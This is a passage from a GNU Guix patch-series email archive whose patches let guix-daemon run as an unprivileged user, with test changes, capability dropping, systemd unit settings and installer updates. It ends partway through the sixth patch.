 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

DRAFT:

  - Double-check the test suite.

* build-aux/test-env.in: Pass ‘--disable-chroot’ only when unprivileged
user namespace support is lacking.
* tests/store.scm ("build-things, check mode"): Use ‘gettimeofday’
rather than a shared file as a source of entropy.
("isolated environment"): New test.

Change-Id: Iedb816ef548c77799e5b2f9b6a3b7510ad19ec2a
---
 build-aux/test-env.in | 14 ++++++-
 tests/store.scm       | 89 ++++++++++++++++++++++++++-----------------
 2 files changed, 66 insertions(+), 37 deletions(-)

diff --git a/build-aux/test-env.in b/build-aux/test-env.in
index 9caa29da58..5626152b34 100644
--- a/build-aux/test-env.in
+++ b/build-aux/test-env.in
@@ -1,7 +1,7 @@
 #!/bin/sh
 
 # GNU Guix --- Functional package management for GNU
-# Copyright © 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2021 Ludovic Courtès <ludo@HIDDEN>
+# Copyright © 2012-2019, 2021, 2025 Ludovic Courtès <ludo@HIDDEN>
 #
 # This file is part of GNU Guix.
 #
@@ -102,10 +102,20 @@ then
     rm -rf "$GUIX_STATE_DIRECTORY/daemon-socket"
     mkdir -m 0700 "$GUIX_STATE_DIRECTORY/daemon-socket"
 
+    # If unprivileged user namespaces are not supported, pass
+    # '--disable-chroot'.
+    if [ ! -f /proc/sys/kernel/unprivileged_userns_clone ] \
+       || [ "$(cat /proc/sys/kernel/unprivileged_userns_clone)" -eq 1 ]; then
+	extra_options=""
+    else
+	extra_options="--disable-chroot"
+    fi
+
     # Launch the daemon without chroot support because is may be
     # unavailable, for instance if we're not running as root.
     "@abs_top_builddir@/pre-inst-env"				\
-	"@abs_top_builddir@/guix-daemon" --disable-chroot	\
+	"@abs_top_builddir@/guix-daemon"			\
+        $extra_options						\
 	--substitute-urls="$GUIX_BINARY_SUBSTITUTE_URL" &
 
     daemon_pid=$!
diff --git a/tests/store.scm b/tests/store.scm
index 45948f4f43..bdbb026dd9 100644
--- a/tests/store.scm
+++ b/tests/store.scm
@@ -1,5 +1,5 @@
 ;;; GNU Guix --- Functional package management for GNU
-;;; Copyright © 2012-2021, 2023 Ludovic Courtès <ludo@HIDDEN>
+;;; Copyright © 2012-2021, 2023, 2025 Ludovic Courtès <ludo@HIDDEN>
 ;;;
 ;;; This file is part of GNU Guix.
 ;;;
@@ -30,6 +30,8 @@ (define-module (test-store)
   #:use-module (guix derivations)
   #:use-module (guix serialization)
   #:use-module (guix build utils)
+  #:use-module ((gnu build linux-container)
+                #:select (unprivileged-user-namespace-supported?))
   #:use-module (guix gexp)
   #:use-module (gnu packages)
   #:use-module (gnu packages bootstrap)
@@ -391,6 +393,32 @@ (define %shell
          (equal? (valid-derivers %store o)
                  (list (derivation-file-name d))))))
 
+(unless (unprivileged-user-namespace-supported?)
+  (test-skip 1))
+(test-equal "isolated environment"
+  (string-join (append
+                '("PID: 1" "UID: 30001")
+                (delete-duplicates
+                 (sort (list "/dev" "/tmp" "/proc" "/etc"
+                             (match (string-tokenize (%store-prefix)
+                                                     (char-set-complement
+                                                      (char-set #\/)))
+                               ((top _ ...) (string-append "/" top))))
+                       string<?))
+                '("/etc/group" "/etc/hosts" "/etc/passwd")))
+  (let* ((b (add-text-to-store %store "build.sh"
+                               "echo -n PID: $$ UID: $UID /* /etc/* > $out"))
+         (s (add-to-store %store "bash" #t "sha256"
+                          (search-bootstrap-binary "bash"
+                                                   (%current-system))))
+         (d (derivation %store "the-thing"
+                        s `("-e" ,b)
+                        #:env-vars `(("foo" . ,(random-text)))
+                        #:inputs `((,b) (,s))))
+         (o (derivation->output-path d)))
+    (and (build-derivations %store (list d))
+         (call-with-input-file o get-string-all))))
+
 (test-equal "with-build-handler"
   'success
   (let* ((b  (add-text-to-store %store "build" "echo $foo > $out" '()))
@@ -1333,40 +1361,31 @@ (define %shell
 
 (test-assert "build-things, check mode"
   (with-store store
-    (call-with-temporary-output-file
-     (lambda (entropy entropy-port)
-       (write (random-text) entropy-port)
-       (force-output entropy-port)
-       (let* ((drv  (build-expression->derivation
-                     store "non-deterministic"
-                     `(begin
-                        (use-modules (rnrs io ports))
-                        (let ((out (assoc-ref %outputs "out")))
-                          (call-with-output-file out
-                            (lambda (port)
-                              ;; Rely on the fact that tests do not use the
-                              ;; chroot, and thus ENTROPY is readable.
-                              (display (call-with-input-file ,entropy
-                                         get-string-all)
-                                       port)))
-                          #t))
-                     #:guile-for-build
-                     (package-derivation store %bootstrap-guile (%current-system))))
-              (file (derivation->output-path drv)))
-         (and (build-things store (list (derivation-file-name drv)))
-              (begin
-                (write (random-text) entropy-port)
-                (force-output entropy-port)
-                (guard (c ((store-protocol-error? c)
-                           (pk 'determinism-exception c)
-                           (and (not (zero? (store-protocol-error-status c)))
-                                (string-contains (store-protocol-error-message c)
-                                                 "deterministic"))))
-                  ;; This one will produce a different result.  Since we're in
-                  ;; 'check' mode, this must fail.
-                  (build-things store (list (derivation-file-name drv))
-                                (build-mode check))
-                  #f))))))))
+    (let* ((drv  (build-expression->derivation
+                  store "non-deterministic"
+                  `(begin
+                     (use-modules (rnrs io ports))
+                     (let ((out (assoc-ref %outputs "out")))
+                       (call-with-output-file out
+                         (lambda (port)
+                           (let ((now (gettimeofday)))
+                             (display (+ (car now) (cdr now)) port))))
+                       #t))
+                  #:guile-for-build
+                  (package-derivation store %bootstrap-guile (%current-system))))
+           (file (derivation->output-path drv)))
+      (and (build-things store (list (derivation-file-name drv)))
+           (begin
+             (guard (c ((store-protocol-error? c)
+                        (pk 'determinism-exception c)
+                        (and (not (zero? (store-protocol-error-status c)))
+                             (string-contains (store-protocol-error-message c)
+                                              "deterministic"))))
+               ;; This one will produce a different result.  Since we're in
+               ;; 'check' mode, this must fail.
+               (build-things store (list (derivation-file-name drv))
+                             (build-mode check))
+               #f))))))
 
 (test-assert "build-succeeded trace in check mode"
   (string-contains
-- 
2.47.1





Message sent to guix-patches@HIDDEN:


X-Loop: help-debbugs@HIDDEN
Subject: [bug#75810] [PATCH 3/6] daemon: Create /var/guix/profiles/per-user unconditionally.
Resent-From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Original-Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
Resent-CC: guix-patches@HIDDEN
Resent-Date: Fri, 24 Jan 2025 17:26:03 +0000
Resent-Message-ID: <handler.75810.B75810.173773952513393 <at> debbugs.gnu.org>
Resent-Sender: help-debbugs@HIDDEN
X-GNU-PR-Message: followup 75810
X-GNU-PR-Package: guix-patches
X-GNU-PR-Keywords: patch
To: 75810 <at> debbugs.gnu.org
Cc: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Received: via spool by 75810-submit <at> debbugs.gnu.org id=B75810.173773952513393
          (code B ref 75810); Fri, 24 Jan 2025 17:26:03 +0000
Received: (at 75810) by debbugs.gnu.org; 24 Jan 2025 17:25:25 +0000
Received: from localhost ([127.0.0.1]:46900 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tbNQq-0003Tt-T4
	for submit <at> debbugs.gnu.org; Fri, 24 Jan 2025 12:25:25 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:39752)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tbNQj-0003Nd-Jy
 for 75810 <at> debbugs.gnu.org; Fri, 24 Jan 2025 12:25:17 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tbNQe-000830-9V; Fri, 24 Jan 2025 12:25:12 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=+scMzR3E2mTiYzHwZP6c6yC+K2EC253ixfUcI5GQnC0=; b=lHG2Nur75MT5dtAMk4hL
 02G6w8l7tkVittNIFRzYryUXLQIdCZEKJKuqwkj+emUQPr9xB/1M5ZEqf5znvBFmiqYf03GgHVw7a
 jBGez9Ic4jlpwoOt6sVrvdOWv57oSQ7Sv3XkBb6pYqNL5z3O7efKYU6zFDIRUUP90g+t4bnwhEe2v
 TJCi1r3jDrbVbC/54JyrauF2BYj8bvQU0DPnHybBUyUfKbfQOj09Ne7NquZRfLRQ4rRxsST7bpi06
 P7Pi2WDlp6RNQUZ77+zYFllKCLfMBDLZOcZr2rTJ9LxhifcSVJJ7NSVKvOOeCINLUn7ykwUl3ReXp
 XT83szKuVx62eA==;
From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Date: Fri, 24 Jan 2025 18:24:53 +0100
Message-ID: <d68dadd3e97944bc3339402d3be9fe8899b8c1dc.1737738362.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.47.1
In-Reply-To: <cover.1737738362.git.ludo@HIDDEN>
References: <cover.1737738362.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* nix/libstore/local-store.cc (LocalStore::LocalStore): Create
‘perUserDir’ unconditionally.

Change-Id: I5188320f9630a81d16f79212d0fffabd55d94abe
---
 nix/libstore/local-store.cc | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/nix/libstore/local-store.cc b/nix/libstore/local-store.cc
index 4308264a4f..6384669519 100644
--- a/nix/libstore/local-store.cc
+++ b/nix/libstore/local-store.cc
@@ -79,12 +79,12 @@ LocalStore::LocalStore(bool reserveSpace)
         createSymlink(profilesDir, gcRootsDir + "/profiles");
     }
 
-    /* Optionally, create directories and set permissions for a
-       multi-user install. */
+    Path perUserDir = profilesDir + "/per-user";
+    createDirs(perUserDir);
+
+    /* Optionally, set permissions for a multi-user install.  */
     if (getuid() == 0 && settings.buildUsersGroup != "") {
 
-        Path perUserDir = profilesDir + "/per-user";
-        createDirs(perUserDir);
         if (chmod(perUserDir.c_str(), 0755) == -1)
             throw SysError(format("could not set permissions on '%1%' to 755")
                            % perUserDir);
-- 
2.47.1





Message sent to guix-patches@HIDDEN:


X-Loop: help-debbugs@HIDDEN
Subject: [bug#75810] [PATCH 4/6] daemon: Drop Linux ambient capabilities before executing builder.
Resent-From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Original-Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
Resent-CC: guix-patches@HIDDEN
Resent-Date: Fri, 24 Jan 2025 17:26:03 +0000
Resent-Message-ID: <handler.75810.B75810.173773952513401 <at> debbugs.gnu.org>
Resent-Sender: help-debbugs@HIDDEN
X-GNU-PR-Message: followup 75810
X-GNU-PR-Package: guix-patches
X-GNU-PR-Keywords: patch
To: 75810 <at> debbugs.gnu.org
Cc: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Received: via spool by 75810-submit <at> debbugs.gnu.org id=B75810.173773952513401
          (code B ref 75810); Fri, 24 Jan 2025 17:26:03 +0000
Received: (at 75810) by debbugs.gnu.org; 24 Jan 2025 17:25:25 +0000
Received: from localhost ([127.0.0.1]:46902 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tbNQr-0003Ty-8R
	for submit <at> debbugs.gnu.org; Fri, 24 Jan 2025 12:25:25 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:39768)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tbNQk-0003Oo-Ky
 for 75810 <at> debbugs.gnu.org; Fri, 24 Jan 2025 12:25:19 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tbNQf-00083D-9K; Fri, 24 Jan 2025 12:25:13 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=EJBKOU++7w/goxoEBuHLi3cBsE8e18X1/aR/9Jrf8LE=; b=fB+G4mN2dIcVTtbIfWdw
 MgcupQqBw2810LhWVSmlEWRVsjDJKjpS8Vtm/MZcnSIsV0naVdz+oEePbqjPrqKWhHrygl0HBP0E8
 WRH5WFPvzxEzoXoq/eXYxloUG31MGrzu1nVjbnhRalfOhIyqwhqYuD+yGfd2QQqNQOEhaF7Hn6Mz8
 TveWbZ4iO2wnzMxmO67lJZShHgwTQVY5sgSof18plO49997H+u+c3E0bMX21RNZuao1TSQ2KeXqnU
 7xeQbH1hpueJKB/xYjcXskeNcywddrfXJrpymARsRQdSlKjsE663erac8q8lnr0Wju1icfctI8scT
 XnLfPgve3bG0yQ==;
From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Date: Fri, 24 Jan 2025 18:24:54 +0100
Message-ID: <d0fe57ac1b0f14d2fcfb01b9c9de80905cee73e1.1737738362.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.47.1
In-Reply-To: <cover.1737738362.git.ludo@HIDDEN>
References: <cover.1737738362.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* config-daemon.ac: Check for <sys/prctl.h>.
* nix/libstore/build.cc (DerivationGoal::runChild): When ‘useChroot’ is
true, call ‘prctl’ to drop all ambient capabilities.

Change-Id: If34637fc508e5fb6d278167f5df7802fc595284f
---
 config-daemon.ac      | 2 +-
 nix/libstore/build.cc | 9 +++++++++
 2 files changed, 10 insertions(+), 1 deletion(-)

diff --git a/config-daemon.ac b/config-daemon.ac
index 6731c68bc3..aeec5f3239 100644
--- a/config-daemon.ac
+++ b/config-daemon.ac
@@ -78,7 +78,7 @@ if test "x$guix_build_daemon" = "xyes"; then
 
   dnl Chroot support.
   AC_CHECK_FUNCS([chroot unshare])
-  AC_CHECK_HEADERS([sched.h sys/param.h sys/mount.h sys/syscall.h])
+  AC_CHECK_HEADERS([sched.h sys/param.h sys/mount.h sys/syscall.h sys/prctl.h])
 
   if test "x$ac_cv_func_chroot" != "xyes"; then
     AC_MSG_ERROR(['chroot' function missing, bailing out])
diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
index 727472c77f..c95bd2821f 100644
--- a/nix/libstore/build.cc
+++ b/nix/libstore/build.cc
@@ -50,6 +50,9 @@
 #if HAVE_SCHED_H
 #include <sched.h>
 #endif
+#if HAVE_SYS_PRCTL_H
+#include <sys/prctl.h>
+#endif
 
 
 #define CHROOT_ENABLED HAVE_CHROOT && HAVE_SYS_MOUNT_H && defined(MS_BIND) && defined(MS_PRIVATE)
@@ -2077,6 +2080,12 @@ void DerivationGoal::runChild()
 
 #if CHROOT_ENABLED
         if (useChroot) {
+# if HAVE_SYS_PRCTL_H
+	    /* Drop ambient capabilities such as CAP_CHOWN that might have
+	       been granted when starting guix-daemon.  */
+	    prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_CLEAR_ALL, 0, 0, 0);
+# endif
+
 	    if (!fixedOutput) {
 		/* Initialise the loopback interface. */
 		AutoCloseFD fd(socket(PF_INET, SOCK_DGRAM, IPPROTO_IP));
-- 
2.47.1





Message sent to guix-patches@HIDDEN:


X-Loop: help-debbugs@HIDDEN
Subject: [bug#75810] [PATCH 5/6] etc: systemd services: Run =?UTF-8?Q?=E2=80=98guix-daemon=E2=80=99?= as an unprivileged user.
Resent-From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Original-Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
Resent-CC: guix-patches@HIDDEN
Resent-Date: Fri, 24 Jan 2025 17:26:04 +0000
Resent-Message-ID: <handler.75810.B75810.173773952613408 <at> debbugs.gnu.org>
Resent-Sender: help-debbugs@HIDDEN
X-GNU-PR-Message: followup 75810
X-GNU-PR-Package: guix-patches
X-GNU-PR-Keywords: patch
To: 75810 <at> debbugs.gnu.org
Cc: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Received: via spool by 75810-submit <at> debbugs.gnu.org id=B75810.173773952613408
          (code B ref 75810); Fri, 24 Jan 2025 17:26:04 +0000
Received: (at 75810) by debbugs.gnu.org; 24 Jan 2025 17:25:26 +0000
Received: from localhost ([127.0.0.1]:46904 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tbNQr-0003U6-N7
	for submit <at> debbugs.gnu.org; Fri, 24 Jan 2025 12:25:26 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:39776)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tbNQm-0003Pe-0g
 for 75810 <at> debbugs.gnu.org; Fri, 24 Jan 2025 12:25:20 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tbNQg-00083e-Lr; Fri, 24 Jan 2025 12:25:14 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=fSDfv9Lxo7q8Hsp8XW9PKQoYdqQwT7VmmKky0xhAbcI=; b=W6eLg23Pxz1Cteorp7el
 9OMHLil4xhz9F2DC3McI82HhKJIjEMuj7TuZIq9QiVKr0JSxYTwlTDyviiE+fbf2puVxawKUvFJKB
 WQzzYNPm/82UHzOV/6x97Uy+K87Gcadis+eiJjbUI8QtLfW7m5FLBRT+hcaavBH+x3+AEFHNABr0J
 cSYxEbX80yG/ThhrJQo+gXCLKrllHtNof/wZYBAXfMkOK6gpB9R/xcGogDITvk0MsWSfnER/50Gbf
 K8S6jqEatajb4sMX2J2C2ZKXwHQ/e0kzkHxUFqQnnKq/61lX2uTh2BXsWyTpUtEnAdZpKUf4Z0xpf
 IkcW8dccFhci4w==;
From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Date: Fri, 24 Jan 2025 18:24:55 +0100
Message-ID: <713be4d9b744226c4922f3eec66adfb3547c95bc.1737738362.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.47.1
In-Reply-To: <cover.1737738362.git.ludo@HIDDEN>
References: <cover.1737738362.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* etc/guix-daemon.service.in (ExecStart): Remove ‘--build-users-group’.
(User, AmbientCapabilities): New fields.

Change-Id: Id826b8ab535844b6024d777f6bd15fd49db6d65e
---
 etc/guix-daemon.service.in | 12 +++++++++++-
 1 file changed, 11 insertions(+), 1 deletion(-)

diff --git a/etc/guix-daemon.service.in b/etc/guix-daemon.service.in
index 5c43d9b7f1..f9f0b28b35 100644
--- a/etc/guix-daemon.service.in
+++ b/etc/guix-daemon.service.in
@@ -7,9 +7,19 @@ Description=Build daemon for GNU Guix
 
 [Service]
 ExecStart=@localstatedir@/guix/profiles/per-user/root/current-guix/bin/guix-daemon \
-    --build-users-group=guixbuild --discover=no \
+    --discover=no \
     --substitute-urls='@GUIX_SUBSTITUTE_URLS@'
 Environment='GUIX_LOCPATH=@localstatedir@/guix/profiles/per-user/root/guix-profile/lib/locale' LC_ALL=en_US.utf8
+
+# Run under a dedicated unprivileged user account.
+User=guix-daemon
+
+# Provide the CAP_CHOWN capability so that guix-daemon cran create and chown
+# /var/guix/profiles/per-user/$USER and also chown failed build directories
+# when using '--keep-failed'.  Note that guix-daemon explicitly drops ambient
+# capabilities before executing build processes so they don't inherit them.
+AmbientCapabilities=CAP_CHOWN
+
 StandardOutput=journal
 StandardError=journal
 
-- 
2.47.1





Message sent to guix-patches@HIDDEN:


X-Loop: help-debbugs@HIDDEN
Subject: [bug#75810] [PATCH 6/6] guix-install.sh: Support the unprivileged daemon where possible.
Resent-From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Original-Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
Resent-CC: guix-patches@HIDDEN
Resent-Date: Fri, 24 Jan 2025 17:26:04 +0000
Resent-Message-ID: <handler.75810.B75810.173773952613415 <at> debbugs.gnu.org>
Resent-Sender: help-debbugs@HIDDEN
X-GNU-PR-Message: followup 75810
X-GNU-PR-Package: guix-patches
X-GNU-PR-Keywords: patch
To: 75810 <at> debbugs.gnu.org
Cc: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Received: via spool by 75810-submit <at> debbugs.gnu.org id=B75810.173773952613415
          (code B ref 75810); Fri, 24 Jan 2025 17:26:04 +0000
Received: (at 75810) by debbugs.gnu.org; 24 Jan 2025 17:25:26 +0000
Received: from localhost ([127.0.0.1]:46906 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tbNQs-0003UD-52
	for submit <at> debbugs.gnu.org; Fri, 24 Jan 2025 12:25:26 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:39782)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tbNQm-0003Qt-U1
 for 75810 <at> debbugs.gnu.org; Fri, 24 Jan 2025 12:25:21 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tbNQh-00083r-LL; Fri, 24 Jan 2025 12:25:15 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=CyAW63unydjdK3bGh0fu/fzPuWtUxy3K5XUchGmxeSg=; b=KT72z/lctyH4OjwoNNdE
 o5/75ESzb5N8Y0bW9U+789AIm3B/KcEQtRgp4avGhwqOkstsB2pjEFbmNFEYZtLlcb3KV6UOWZ+0H
 iDqAmTZEPj2zYqrUHhGmYd5L3uQCe8CtBVD0js0xl+3dNuiluNcmXe6UVGCSDag9sIHGEbZsXZWSe
 EPm9dlasF+3h8xAf23rAmlQiFqyFVG//XTcRPEL2WzeJy8rxapf/9V8/iYVsZ3a9TJEmE5dHEtFkk
 Ty19FaunyVISMYeWGOBJZ6pDfom1DX5WOVIIyB/klw30bxZSliHi6+wBmPF8+TyH3kIhwO1abLXG1
 a8MOeentOPwwmg==;
From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Date: Fri, 24 Jan 2025 18:24:56 +0100
Message-ID: <2c04ad0cb868e4f41047f971c05915c5419729bd.1737738362.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.47.1
In-Reply-To: <cover.1737738362.git.ludo@HIDDEN>
References: <cover.1737738362.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* etc/guix-install.sh (create_account): New function.
(sys_create_build_user): Use it.  When ‘guix-daemon.service’ contains
“User=guix-daemon” only create the ‘guix-daemon’ user and group.
(sys_delete_build_user): Delete the ‘guix-daemon’ user and group.
(can_install_unprivileged_daemon): New function.
(sys_create_store): When installing the unprivileged daemon, change
ownership of /gnu and /var/guix, and create /var/log/guix.
(sys_authorize_build_farms): When the ‘guix-daemon’ account exists,
change ownership of /etc/guix.
(sys_enable_guix_daemon): Do not install ‘gnu-store.mount’ when running
an unprivileged daemon.

Change-Id: I73e573f1cc5c0cb3794aaaa6b576616b66e0c5e9
---
 etc/guix-install.sh | 114 +++++++++++++++++++++++++++++++++++---------
 1 file changed, 91 insertions(+), 23 deletions(-)

diff --git a/etc/guix-install.sh b/etc/guix-install.sh
index f07b2741bb..4f08eff847 100755
--- a/etc/guix-install.sh
+++ b/etc/guix-install.sh
@@ -389,6 +389,11 @@ sys_create_store()
     cd "$tmp_path"
     _msg "${INF}Installing /var/guix and /gnu..."
     # Strip (skip) the leading ‘.’ component, which fails on read-only ‘/’.
+    #
+    # TODO: Eventually extract with ‘--owner=guix-daemon’ when installing
+    # and unprivileged guix-daemon service; for now, this script may install
+    # from both an old release that does not support unprivileged guix-daemon
+    # and a new release that does, so ‘chown -R’ later if needed.
